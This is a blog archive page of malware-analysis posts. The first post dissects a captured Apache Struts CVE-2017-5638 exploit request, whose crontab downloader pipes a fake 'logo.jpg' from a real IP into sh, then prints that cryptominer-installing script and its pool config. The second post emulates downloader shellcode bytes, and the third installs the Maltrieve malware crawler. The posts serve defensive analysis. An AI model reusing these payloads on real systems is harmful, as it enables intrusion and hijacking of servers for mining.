Tag Archives: analysis

Shell hiding in image files

One day, we noticed strange GET request towards our JBoss server:

GET /login.action   HTTP/1.1
Host: X.X.X.X
Connection: keep-alive 
Accept-Encoding: gzip, deflate 
Accept: */* 
User-Agent: Mozilla/5.0 
Content-Type: %{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@[email protected])).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='echo "48 * * * * wget -O - -q http://91.230.47.41/pics/logo.jpg|sh\n18 * * * * curl http://91.230.47.41/pics/logo.jpg|sh" | crontab -').(#iswin=(@[email protected]('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@[email protected]().getOutputStream())).(@[email protected](#process.getInputStream(),#ros)).(#ros.flush())} 

From the request above, you’ll quickly noticed that this attack leveraging Apache Struts vulnerability from CVE-2017-5638.

The request tried to execute command below:

#cmd='echo "48 * * * * wget -O - -q http://91.230.47.41/pics/logo.jpg|sh\n18 * * * * curl http://91.230.47.41/pics/logo.jpg|sh" | crontab -'

Some explanations:
“-O” : writes the documents to file.
“-” : if is used as file, documents will be printed to standard output, disabling link conversion.
“-q” : quiet (no output)

As you see, it tried to fetch a .jpg file from 91.230.47.41. Seems normal right?
Let’s fetch that file & take a look inside it:

[email protected]:~/a# file logo.jpg
logo.jpg: POSIX shell script, ASCII text executable

ASCII?? Not JPG?? hmm..
Lets see what’s inside the “logo.jpg” file:

[email protected]:~/a# cat logo.jpg
#!/bin/sh
rm -rf /tmp/systemd-logind
rm -rf /tmp/logind.conf
rm -rf /tmp/kworker
rm -rf /tmp/kworker.conf
rm -rf /tmp/kauditd.conf
pkill -f stratum
pkill -f "/tmp/apache"
pkill -f "/tmp/httpd.conf"
pkill -f cryptonight
pkill -f qivtpwwuxs
ps auxf|grep -v grep|grep -v smzgmilpdo|grep "/tmp/"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "\./"|grep 'httpd.conf'|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "\-p x"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "stratum"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "cryptonight"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "qivtpwwuxs"|awk '{print $2}'|xargs kill -9
ps -fe|grep smzgmilpdo|grep -v grep
if [ $? -ne 0 ]
then
echo "start process....."
chmod 777 /tmp/smzgmilpdo.conf
rm -rf /tmp/smzgmilpdo.conf
curl -o /tmp/smzgmilpdo.conf http://91.230.47.41/pics/kworker.conf
wget -O /tmp/smzgmilpdo.conf http://91.230.47.41/pics/kworker.conf
chmod 777 /tmp/kauditd
rm -rf /tmp/kauditd
cat /proc/cpuinfo|grep aes>/dev/null
if [ $? -ne 1 ]
then
curl -o /tmp/kauditd http://91.230.47.41/pics/kworker
wget -O /tmp/kauditd http://91.230.47.41/pics/kworker
else
curl -o /tmp/kauditd http://91.230.47.41/pics/kworker_na
wget -O /tmp/kauditd http://91.230.47.41/pics/kworker_na
fi
chmod +x /tmp/kauditd
cd /tmp
proc=`grep -c ^processor /proc/cpuinfo`
cores=$((($proc+1)/2))
nohup ./kauditd -c smzgmilpdo.conf -t `echo $cores` >/dev/null &
else
echo "runing....."
fi

We noticed there are several other file fetched; possibly a config file & bin file.
Let’s fetch those file!

Here is the config file:
http://91.230.47.41/pics/kworker.conf

{{
    "url" : "stratum+tcp://212.129.44.157:80",
    "url" : "stratum+tcp://212.129.46.87:80",
    "url" : "stratum+tcp://212.129.44.156:80",
    "url" : "stratum+tcp://212.129.46.191:80",
    "url" : "stratum+tcp://62.210.29.108:80",
    "url" : "stratum+tcp://212.83.129.195:80",
    "url" : "stratum+tcp://212.129.44.155:80",
    "user" : "466iRjZzJZZWAqzV24ywY8XMVNkp9hj8UJiBEf61Eui6Nw8bEAJ1z434LWM3SKdaDyH7zgNY64rgg2fYmw8cbP5uBjpMA8g",
    "pass" : "x",
    "algo" : "cryptonight",
    "quiet" : true
}

Not sure it is. Maybe some sort of config file for cryptomining. Lets analyze the other 2 files.

First file: http://91.230.47.41/pics/kworker

[email protected]:~/91.230.47.41# file kworker
kworker: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, stripped

hmm.. an executable Linux file..
Lets see if the file is packed:

[email protected]:~/91.230.47.41# upx -l kworker
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2011
UPX 3.08        Markus Oberhumer, Laszlo Molnar & John Reiser   Dec 12th 2011

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
   2979640 ->   1217152   40.85%  linux/ElfAMD   kworker

Yup. so lets unpacked the file using UPX:

[email protected]:~/91.230.47.41# upx -d kworker
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2011
UPX 3.08        Markus Oberhumer, Laszlo Molnar & John Reiser   Dec 12th 2011

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
   2980813 <-   1217152   40.83%  linux/ElfAMD   kworker

Unpacked 1 file.

[email protected]:~/91.230.47.41# upx -l kworker
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2011
UPX 3.08        Markus Oberhumer, Laszlo Molnar & John Reiser   Dec 12th 2011

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
upx: kworker1: NotPackedException: not packed by UPX

Another file: http://91.230.47.41/pics/kworker_na

[email protected]:~/91.230.47.41# file kworker_na
kworker_na: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=0x0eedc33c49aeb80818a839a9b23cf159c710e443, stripped

[email protected]:~/91.230.47.41# upx -l kworker_na
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2011
UPX 3.08        Markus Oberhumer, Laszlo Molnar & John Reiser   Dec 12th 2011

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
upx: kworker_na: NotPackedException: not packed by UPX

Overall, looks like the attacker want to hack our servers & turn it into his own crypto currency mining machine.
Typical behavior of attack we see in this time where the crypto currency is rising. People hack to make profit. ๐Ÿ™‚

Here the MD5 for file above:

211e98ac0686fe98d06570ad0689e9b3  logo.jpg
d2a01b844521fb141b8449f4d8e1c821  kworker.conf
483b322b42835227d98f523f9df5c6fc  kworker (upx packed)
4fa4269b7ce44bfce5ef574e6a37c38f  kworker (upx unpacked)
131df88b7d0b3e7a1c4d84c37e71fb60  kworker_na

Dionaea simple analysis

For this analysis, we’ll using Python3 that bundled with Dionaea:

/opt/dionaea/bin/python3

Running command above will open a Python console. Enter the code below line by line:

f = open('/tmp/test.bin','wb+')
f.write(b'\\\x00EJinvSWwBRCQvkpxpigFPYgLEznJUFvXdgKGNqynVDlchFrVWzDhuvssAiCzTVCXwMERZNFfiqOpAyLjJojswpKHzIwBaYQMAxYe\xe8\xff\xff\xff\xff\xc2_\x8dO\x10\x801\xc4Af\x819MSu\xf58\xae\xc6\x9d\xa0O\x85\xeaO\x84\xc8O\x84\xd8O\xc4O\x9c\xccIse\xc4\xc4\xc4,\xed\xc4\xc4\xc4\x94&<O8\x92;\xd3WG\x02\xc3,\xdc\xc4\xc4\xc4\xf7\x16\x96\x96O\x08\xa2\x03\xc5\xbc\xea\x95;\xb3\xc0\x96\x96\x95\x92\x96;\xf3;$i\x95\x92QO\x8f\xf8O\x88\xcf\xbc\xc7\x0f\xf72I\xd0w\xc7\x95\xe4O\xd6\xc7\x17\xcb\xc4\x04\xcb{\x04\x05\x04\xc3\xf6\xc6\x86D\xfe\xc4\xb11\xff\x01\xb0\xc2\x82\xff\xb5\xdc\xb6\x1fO\x95\xe0\xc7\x17\xcbs\xd0\xb6O\x85\xd8\xc7\x07O\xc0T\xc7\x07\x9a\x9d\x07\xa4fN\xb2\xe2Dh\x0c\xb1\xb6\xa8\xa9\xab\xaa\xc4]\xe7\x99\x1d\xac\xb0\xb0\xb4\xfe\xeb\xeb\xf5\xfc\xfc\xea\xf6\xf0\xf1\xea\xf7\xf6\xea\xf6\xf5\xf4\xfe\xfc\xf5\xf0\xf3\xeb\xaf\xa7\xa2\xa8\xc4MSemnHqZkZyHIFmbZQCywHscutahhWhoSewiPdNFaPfofpeZVQgyybFqBlGSeBYAPgirfoIOMFQCVIOhuNxscDcxyqJfxgMhahsgjEvYZWarkAkGUWFEWHrnRvYCubVUJnOgsKyupLJGkVCRQwYGcQPSuIsYJmBSVIcLnDXRxnDOkAvmXjHktND\\\x00.\x00.\x00\\\x00.\x00.\x00\\\x00A\x00I\x00O\x00J\x00L\x00P\x00D\x00\x08\x04\x02\x00$\xcb\x01xVFAS$\xcb\x01xSNKBQTVPYYTZISATHHFZEPMNQBWWBDGZDXJNVJAZLX\x92J$\xb6\x97\x03\xf57\xebZRQNXKFGQWT\x00\x00')
f.close()
exit()

It will produce test.bin file in /tmp/ folder.

Now we analyze the file test.bin using sctest and dump the output into test.txt:

/opt/dionaea/bin/sctest -S -g -v -s 1000000 < /tmp/test.bin >> test.txt

If you see inside test.txt, you should see something like this:

[email protected]:~# cat test.txt
verbose = 1
success offset = 0x00000068
[emu 0x0xac40e0 info ] The following function is a stub instr_sldt_0f00 functions/misc.c:290
<snip>
Hook me Captain Cook!
userhooks.c:132 user_hook_ExitThread
ExitThread(0)
stepcount 85067
HMODULE LoadLibraryA (
     LPCTSTR lpFileName = 0x00417116 =>
           = "urlmon";
) = 0x7df20000;
HRESULT URLDownloadToFile (
     LPUNKNOWN pCaller = 0x00000000 =>
         none;
     LPCTSTR szURL = 0x00417121 =>
           = "http://188.245.32.210:8147/kcfl";
     LPCTSTR szFileName = 0x00416fbe =>
           = "x.";
     DWORD dwReserved = 0;
     LPBINDSTATUSCALLBACK lpfnCB = 0;
) =  0;
HMODULE LoadLibraryA (
     LPCTSTR lpFileName = 0x00416fbe =>
           = "x.";
) = 0x00000000;
void ExitThread (
     DWORD dwExitCode = 0;
) =  0;

As you can see, the malicious URL is hxxp://188.245.32.210:8147/kcfl

Reference: https://sourceforge.net/p/nepenthes/mailman/message/26862416/

Maltrieve on Mac OS X

Maltrieve originated as a fork of mwcrawler. It retrieves malware directly from the sources as listed at a number of sites, including:

  • Malc0de
  • Malware Black List
  • Malware Domain List
  • VX Vault
  • URLqery
  • CleanMX

If you want to install maltrieve on your Mac OS X, below is the steps to install it.

  • First, install beautifulsoup4 via pip
sudo pip install beautifulsoup4
  • Install required dependencies via apt-get
sudo port install libxml2 libxslt py-lxml
  • Download maltrieve from github
sudo git clone https://github.com/technoskald/maltrieve.git
cd maltrieve
python maltrieve.py -d pull -l maltrieve.log

Done. Now you can use the Maltrieve on your Mac OS X.